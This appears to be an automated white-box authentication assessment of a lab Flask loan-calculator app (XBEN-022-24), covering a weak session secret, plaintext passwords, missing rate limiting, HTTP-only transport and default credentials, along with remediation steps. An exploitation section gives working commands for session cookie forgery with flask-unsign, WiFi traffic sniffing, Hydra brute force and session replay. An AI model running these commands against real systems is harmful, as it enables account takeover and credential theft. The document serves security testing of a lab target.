# Authentication Analysis Report

## 1. Executive Summary
- **Analysis Status:** Complete
- **Key Outcome:** Critical authentication flaws were identified across all security domains including transport security, session management, rate limiting, and credential storage.
- **Purpose of this Document:** This report provides the strategic context on the application's authentication mechanisms, dominant flaw patterns, and key architectural details necessary to effectively exploit the vulnerabilities listed in the exploitation queue.

## 2. Dominant Vulnerability Patterns

### Pattern 1: Complete Absence of Transport Security
- **Description:** The application serves all traffic over unencrypted HTTP with no HTTPS/TLS configuration. Session cookies lack the `Secure` flag, and no HSTS headers are present.
- **Implication:** All credentials and session cookies are transmitted in plaintext, enabling trivial session hijacking and credential theft via network interception on public WiFi or compromised networks.
- **Representative Findings:** `AUTH-VULN-01` (Missing Secure Cookie Flag), `AUTH-VULN-08` (HTTP-Only Transmission).

### Pattern 2: Weak Session Secret Enabling Session Forgery
- **Description:** The Flask application uses a hardcoded, well-known session secret (`'your_secret_key'`) to sign session cookies. This secret appears in Flask documentation and tutorials.
- **Implication:** Attackers can forge arbitrary session cookies to impersonate any user without authentication. Combined with client-side session storage, this enables complete authentication bypass.
- **Representative Finding:** `AUTH-VULN-02` (Weak Hardcoded Session Secret).

### Pattern 3: Zero Rate Limiting and Abuse Prevention
- **Description:** No rate limiting exists at application or web server level for authentication endpoints. No CAPTCHA, no account lockout, and no monitoring of failed login attempts.
- **Implication:** Attackers can perform unlimited brute force attacks, credential stuffing, and password spraying with no throttling or detection.
- **Representative Finding:** `AUTH-VULN-03` (Missing Rate Limiting on Login).

### Pattern 4: Plaintext Password Storage
- **Description:** User passwords are stored in plaintext in the MySQL database with direct string comparison during authentication. No hashing library (bcrypt, argon2, PBKDF2) is used.
- **Implication:** Database compromise exposes all user credentials in cleartext. Combined with credential reuse, this enables lateral movement to other services.
- **Representative Finding:** `AUTH-VULN-04` (Plaintext Password Storage).

### Pattern 5: Session Persistence After Logout
- **Description:** Flask's client-side signed cookies remain cryptographically valid after logout because there is no server-side session storage or blacklist mechanism. The logout function only deletes the client's cookie.
- **Implication:** Attackers who capture session cookies (via network sniffing or XSS) maintain persistent access even after the victim logs out.
- **Representative Finding:** `AUTH-VULN-05` (Session Reuse After Logout).

## 3. Strategic Intelligence for Exploitation

### Authentication Method
The system uses **session-based authentication** with Flask's default client-side signed cookies powered by the `itsdangerous` library. Session data is stored directly in the cookie as a base64-encoded JSON object, signed with HMAC-SHA1 using the application's secret key.

**Cookie Structure:**
```
session=eyJ1c2VyX2lkIjoxfQ.aQUD8w.PdUfuNmP_q7b3yLKxYZ1VfM8Jhs
         [base64({"user_id":1})].[timestamp].[HMAC signature]
```

### Session Token Details
- **Cookie Name:** `session` (Flask default)
- **Storage:** Client-side (no server-side session database)
- **Signature Algorithm:** HMAC-SHA1
- **Secret Key:** `'your_secret_key'` (hardcoded at `/app/website/app/__init__.py:8`)
- **Session Data:** `{"user_id": <integer>}` (only field stored)
- **HttpOnly Flag:** True (default, prevents JavaScript access)
- **Secure Flag:** False (cookies sent over HTTP)
- **SameSite Flag:** Not set (vulnerable to CSRF)

### Password Policy
- **No password strength requirements** - Any password accepted (including empty strings)
- **No complexity requirements** - No enforcement of uppercase, digits, or special characters
- **No minimum length** - Single character passwords allowed
- **No common password blocking** - "password", "123456", etc. accepted
- **Storage Method:** Plaintext in MySQL VARCHAR(50) field
- **Comparison Method:** Direct string comparison via SQLAlchemy `filter_by(password=password)`

### Default Credentials
- **Username:** `test`
- **Password:** `test`
- **Creation:** Automatic on application initialization at `/app/website/app/__init__.py:20-35`
- **Cannot be disabled:** Hardcoded in startup logic
- **Public knowledge:** Visible in source code

### Rate Limiting Status
**NONE IMPLEMENTED**
- No Flask-Limiter or similar library
- No Apache mod_ratelimit
- No per-IP throttling
- No per-account lockout
- No CAPTCHA implementation
- **Unlimited login attempts possible**

### Transport Security
- **Protocol:** HTTP only (port 80)
- **HTTPS:** Not configured
- **HSTS:** Not configured
- **Certificate:** None
- **Wildcard CORS:** `Access-Control-Allow-Origin: *` set in Apache config

## 4. Secure by Design: Validated Components

These components were analyzed and found to have robust defenses. They are low-priority for further testing.

| Component/Flow | Endpoint/File Location | Defense Mechanism Implemented | Verdict |
|---|---|---|---|
| Session ID Rotation | `/app/website/app/routes.py:32` | Flask automatically rotates session IDs on login when `session['user_id']` is set. | SAFE |
| Login Error Messages | `/app/website/app/routes.py:35-37` | Generic error message ("Invalid username or password") prevents user enumeration via error message disclosure. | SAFE |
| Timing Attack Resistance | `/app/website/app/routes.py:29` | SQL query checks username AND password simultaneously with <10ms timing variance (1.3ms measured). | SAFE |
| Session IDs in URLs | `/app/website/app/routes.py:34` | Authentication state stored exclusively in HttpOnly cookies, never in URLs or query parameters. Redirects use clean paths. | SAFE |
| SQL Injection (Auth) | `/app/website/app/routes.py:29` | SQLAlchemy ORM uses parameterized queries: `User.query.filter_by(username=username, password=password)` | SAFE |

**Note:** While these individual components are implemented correctly, they do not compensate for the critical failures in transport security, session management, rate limiting, and credential storage documented in this report.

## 5. Authentication Flow Analysis

### Login Flow (`POST /login`)
**Location:** `/app/website/app/routes.py:24-38`

**Step-by-Step Process:**
1. User submits credentials via HTML form (`/app/website/app/static/templates/login.html`)
2. Backend retrieves form data: `username = request.form['username']`, `password = request.form['password']`
3. **CRITICAL FLAW:** Direct plaintext password comparison via SQLAlchemy:
   ```python
   user = User.query.filter_by(username=username, password=password).first()
   ```
4. On success: `session['user_id'] = user.id` (triggers session cookie generation)
5. Redirect to `/home` with new signed session cookie
6. **Session ID rotation occurs** (secure behavior)

**Vulnerabilities:**
- No rate limiting (unlimited attempts)
- Plaintext password comparison
- No MFA/2FA
- No CAPTCHA
- HTTP transmission (credentials in cleartext over network)

### Logout Flow (`GET /logout`)
**Location:** `/app/website/app/routes.py:41-45`

**Step-by-Step Process:**
1. User clicks "Exit" link (GET request to `/logout`)
2. **CRITICAL FLAW:** Uses GET method instead of POST (CSRF vulnerable)
3. Backend calls `session.pop('user_id', None)` (removes user_id from session data)
4. Redirect to `/login`

**Vulnerabilities:**
- **Client-side only logout:** Session cookie remains cryptographically valid after logout
- **No server-side revocation:** No session blacklist or database
- **GET method:** CSRF logout possible via `<img src="/logout">`
- **Captured sessions remain valid:** Attackers can reuse stolen cookies indefinitely

### Session Validation Pattern
**Locations:** `/app/website/app/routes.py:51, 63, 87, 139, 152`

All protected endpoints use identical inline check:
```python
user_id = session.get('user_id')
if user_id:
    user = User.query.get(user_id)
    # Process request
else:
    return redirect(url_for('login'))
```

**Observations:**
- No reusable decorator (code duplication)
- No role-based access control (binary: authenticated vs not)
- No session timeout checks
- No IP address validation
- Trusts session signature (vulnerable due to weak secret)

## 6. Critical Code Locations

### Authentication Endpoints
| Endpoint | Method | File:Line | Purpose | Vulnerabilities |
|----------|--------|-----------|---------|-----------------|
| `/login` | GET | `/app/website/app/routes.py:24` | Render login form | No CAPTCHA |
| `/login` | POST | `/app/website/app/routes.py:27-34` | Process authentication | No rate limit, plaintext password, HTTP |
| `/logout` | GET | `/app/website/app/routes.py:41-45` | Destroy session | GET method (CSRF), client-side only |

### Configuration Files
| File | Line | Content | Issue |
|------|------|---------|-------|
| `/app/website/app/__init__.py` | 8 | `app.secret_key = 'your_secret_key'` | Weak hardcoded secret |
| `/app/website/app/__init__.py` | 11 | `app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://root:...'` | Root DB credentials |
| `/app/ssti_include_loan_calculator-httpd.conf` | 1 | `<VirtualHost *:80>` | HTTP only, no HTTPS |
| `/app/ssti_include_loan_calculator-httpd.conf` | 11 | `Header set Access-Control-Allow-Origin "*"` | Wildcard CORS |

### User Model
| File | Line | Field | Issue |
|------|------|-------|-------|
| `/app/website/app/models.py` | 8 | `password = db.Column(db.String(50))` | Plaintext storage |
| `/app/website/app/models.py` | 5-15 | (entire model) | No MFA fields, no lockout fields, no role fields |

### Default User Creation
| File | Line | Purpose | Issue |
|------|------|---------|-------|
| `/app/website/app/__init__.py` | 19-35 | Create test:test account on startup | Hardcoded credentials, cannot disable |

## 7. Exploitation Techniques Summary

### Session Forgery via Weak Secret
**Tool:** `flask-unsign`
```bash
# Decode existing session
flask-unsign --decode --cookie 'eyJ1c2VyX2lkIjoxfQ.aQT_tQ.elyVrK...' --secret 'your_secret_key'
# Output: {'user_id': 1}

# Forge session for user ID 2
flask-unsign --sign --cookie "{'user_id': 2}" --secret 'your_secret_key'
# Output: eyJ1c2VyX2lkIjoyfQ.ZmFrZQ.NewSignatureHere

# Use forged cookie to access victim's account
curl -b "session=eyJ1c2VyX2lkIjoyfQ.ZmFrZQ.NewSignatureHere" http://localhost:42029/home
```

### Credential Theft via Network Interception
**Tool:** Wireshark, tcpdump, Bettercap
```bash
# Passive sniffing on public WiFi
sudo tcpdump -i wlan0 -A 'tcp port 42029 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'
# Captures: POST /login with username=test&password=test in cleartext
```

### Brute Force Attack (Unlimited Attempts)
**Tool:** Hydra, custom Python script
```bash
# Unlimited login attempts possible
hydra -l test -P /usr/share/wordlists/rockyou.txt localhost -s 42029 http-post-form "/login:username=^USER^&password=^PASS^:Invalid username or password"
```

### Session Hijacking After Logout
```bash
# 1. Capture session cookie via MITM while user is logged in
SESSION="eyJ1c2VyX2lkIjoxfQ.aQT_tQ.elyVrK..."

# 2. Wait for user to logout
# 3. Reuse captured session - STILL VALID
curl -b "session=$SESSION" http://localhost:42029/home
# Result: 200 OK with user's private data
```

### Default Credential Access
```bash
# Direct login with known credentials
curl -X POST http://localhost:42029/login -d "username=test&password=test" -L
# Result: Successful authentication
```

## 8. Risk Assessment Matrix

| Vulnerability | Severity | Exploitability | Impact | CVSS Score | CWE |
|--------------|----------|----------------|--------|------------|-----|
| Weak Session Secret | CRITICAL | TRIVIAL | Complete auth bypass | 9.8 | CWE-798 |
| Plaintext Passwords | CRITICAL | EASY (if DB access) | All credentials compromised | 9.1 | CWE-256 |
| No Rate Limiting | CRITICAL | TRIVIAL | Unlimited brute force | 9.8 | CWE-307 |
| HTTP Transmission | CRITICAL | EASY (network access) | Credential/session theft | 8.1 | CWE-319 |
| Session Reuse After Logout | CRITICAL | EASY | Persistent account takeover | 8.1 | CWE-613 |
| Default Credentials | HIGH | TRIVIAL | Initial unauthorized access | 8.8 | CWE-798 |
| No Session Timeout | MEDIUM | MEDIUM | Extended attack window | 6.5 | CWE-613 |
| Missing SameSite Cookie | MEDIUM | MEDIUM | CSRF attacks | 6.5 | CWE-352 |
| Logout via GET | MEDIUM | MEDIUM | CSRF logout | 5.3 | CWE-352 |
| No MFA | LOW | N/A | Single point of failure | 3.7 | CWE-308 |

## 9. Compliance Violations

### OWASP Top 10 2021
- **A01:2021 – Broken Access Control:** Session forgery enables unauthorized access
- **A02:2021 – Cryptographic Failures:** Plaintext password storage, weak secret key
- **A07:2021 – Identification and Authentication Failures:** No rate limiting, weak credentials, session management flaws

### PCI DSS 3.2.1
- **Requirement 4.1:** Violated - Cardholder data transmitted over unencrypted HTTP
- **Requirement 8.1.6:** Violated - No account lockout after repeated access attempts
- **Requirement 8.2.1:** Violated - Weak default credentials not changed
- **Requirement 8.2.3:** Violated - No password complexity requirements
- **Requirement 8.2.4:** Violated - Passwords not rendered unreadable (plaintext storage)

### NIST 800-63B
- **Section 5.1.1.2:** Violated - No rate limiting on authentication
- **Section 5.2.2:** Violated - Passwords stored in plaintext (should be hashed)
- **Section 7.2.1:** Violated - Session timeout not implemented
- **Section 7.2.2:** Violated - Sessions not invalidated on logout

### CIS Controls v8
- **Control 6.2:** Violated - No MFA for administrative access
- **Control 6.3:** Violated - Default credentials not changed
- **Control 6.5:** Violated - No account lockout policies

## 10. Recommended Remediation Priority

### 🔴 CRITICAL (Fix Immediately - Within 24 Hours)

1. **Replace Weak Secret Key**
   - Generate cryptographically random 32-byte secret
   - Store in environment variable, not code
   - Rotate immediately
   ```python
   import os
   app.secret_key = os.environ.get('SECRET_KEY') or os.urandom(32).hex()
   ```

2. **Implement HTTPS/TLS**
   - Obtain SSL certificate (Let's Encrypt)
   - Configure Apache VirtualHost for port 443
   - Enable HSTS header: `Strict-Transport-Security: max-age=31536000; includeSubDomains`
   - Set SESSION_COOKIE_SECURE = True

3. **Implement Password Hashing**
   - Add `bcrypt` to requirements.txt
   - Hash all existing passwords (force password reset)
   - Update login logic to use `bcrypt.checkpw()`
   ```python
   import bcrypt
   # On registration/password change:
   hashed = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
   # On login:
   if bcrypt.checkpw(password.encode('utf-8'), user.password):
       # Authenticate
   ```

4. **Add Rate Limiting**
   - Install Flask-Limiter: `pip install Flask-Limiter`
   - Configure: `@limiter.limit("5 per minute")` on login endpoint
   - Implement progressive delays or CAPTCHA after 3 failures

### 🟠 HIGH (Fix Within 1 Week)

5. **Fix Session Invalidation**
   - Implement server-side session storage (Flask-Session + Redis)
   - OR maintain session blacklist
   - Change logout to `session.clear()` and blacklist token

6. **Remove Default Credentials**
   - Delete hardcoded test account creation
   - Implement secure registration flow
   - OR make default credentials configurable via environment variables

7. **Set SameSite Cookie Flag**
   - Add: `app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'`
   - Provides CSRF protection

8. **Change Logout to POST**
   - Convert logout endpoint to POST method
   - Add CSRF token validation

### 🟡 MEDIUM (Fix Within 1 Month)

9. **Implement Session Timeouts**
   - Set idle timeout: `app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(minutes=30)`
   - Set absolute timeout with session creation timestamp

10. **Add Account Lockout**
    - Track failed login attempts in User model
    - Lock account after 5 failures for 15 minutes
    - Notify user of lockout via email

11. **Implement Authentication Logging**
    - Log all authentication events with IP, timestamp, success/failure
    - Enable real-time monitoring for brute force detection

### 🟢 LOW (Fix Within 3 Months)

12. **Implement Password Policy**
    - Minimum 12 characters
    - Require complexity (uppercase, lowercase, digit, symbol)
    - Block common passwords (use zxcvbn or similar)
    - Password strength meter on UI

13. **Add Multi-Factor Authentication**
    - TOTP-based (Google Authenticator compatible)
    - Enforce for all users or high-privilege accounts

14. **Fix Cache-Control Middleware**
    - Correct broken middleware at `/app/website/app/routes.py:9-15`
    - Modify `response.headers` instead of `request.headers`

## 11. Testing Methodology Reference

### Tools Used
- **Static Analysis:** Manual code review, grep/ripgrep searches
- **Dynamic Testing:** curl, Python requests, browser DevTools
- **Session Analysis:** flask-unsign for cookie decoding/forging
- **Network Analysis:** Wireshark (conceptual - not executed per scope)
- **Timing Analysis:** Python time.perf_counter() for microsecond precision

### Test Cases Executed
1. ✅ Transport security inspection (HTTP vs HTTPS, headers)
2. ✅ Cache-Control header verification
3. ✅ Rate limiting testing (unlimited attempts confirmed)
4. ✅ Session cookie flag analysis (DevTools, curl -v)
5. ✅ Session rotation testing (pre-login vs post-login cookies)
6. ✅ Logout invalidation testing (session reuse POC)
7. ✅ Session timeout testing (no expiration confirmed)
8. ✅ Secret key entropy calculation
9. ✅ Password storage examination (database schema)
10. ✅ Default credential testing (test:test confirmed)
11. ✅ Session fixation testing (not vulnerable)
12. ✅ Error message disclosure testing (secure)
13. ✅ Timing attack testing (1.3ms variance, safe)

### Limitations
- No actual network interception performed (out of scope)
- No database direct access (relied on code analysis)
- No load testing for DoS scenarios
- No source code modification testing

---

**Report Generated:** 2025-11-01  
**Target Application:** XBEN-022-24 Loan Calculator  
**URL:** http://localhost:42029/  
**Analysis Phase:** Authentication Security (White-Box)  
**Next Phase:** Exploitation (weaponization of findings in exploitation queue)
